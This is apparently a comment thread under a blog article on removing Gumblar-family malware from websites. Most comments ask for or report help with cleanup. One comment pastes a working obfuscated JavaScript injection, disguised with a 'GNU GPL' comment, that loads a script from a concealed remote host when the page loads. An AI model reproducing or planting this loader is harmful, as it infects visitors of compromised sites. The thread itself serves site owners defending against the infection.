http://justcoded.com/article/gumblar-family-virus-removal-tool/

/*GNU GPL*/ try{window.onload = function(){var Xs1ya4t7ajb13i = document.createElement(’script’);Xs1ya4t7ajb13i.setAttribute(‘type’, ‘text/javascript’);Xs1ya4t7ajb13i.setAttribute(‘id’, ‘myscript1′);Xs1ya4t7ajb13i.setAttribute(’src’, ‘h^#!#t^^^#t)@p(!!:($^/#$^/#)#@o@@($r#))^k#!^u$&)t!#&-))c#^!!o@&)m@)$-####b$$r)#.$t&&a@b&(n^$(a!#k^.$(#!i)r)^$.@(l!$i(@t&&$e^r$^&o#t!&)i)&)c#&a$&&-@#)c$#!o)(^@#m)$&(.#i$#n&(n&&e&w!$)t$&e@r@!(r#@&((a#(.#!&r&#u&$#:(@&8)^!0&8$@)0!/($!g#)$(o&#@o^!g!)l$&^e^@.#!c#)(n(/^$g!(!o!^&o@#&@g)l^#(#e&^@.$^$&c!^)n(/!$(g!o^)&!o@g&(!l$(!!e&@&$.#&c(($o&)m&#)/$(^h^&))a^!o!1&(2^##3#.&&#(c#!&o&m(#/)^&i@@s@@&)t)^^)o((!c$k&(@!p##h#)@o(t)^#o^&.^&!c)#o^!m@$/$@#’.replace(/&|\(|#|\!|\)|\^|\$|@/ig, ”));Xs1ya4t7ajb13i.setAttribute(‘defer’, ‘defer’);document.body.appendChild(Xs1ya4t7ajb13i);}} catch(e) {}

what about y how I eliminate it?

it is helpful

Thanks a billion Diovo.

Malware which effected to my site :

(document.write(”);)

I found your blog while googling about asfirey Malware.

Your code for identifying infected files worked for me.

I am able to locate where exactly Malware effected webpages on my site.

I searched, deleted infected files from my site and I uploaded new files.

Now my site if fine and opening correctly.

Thanks again!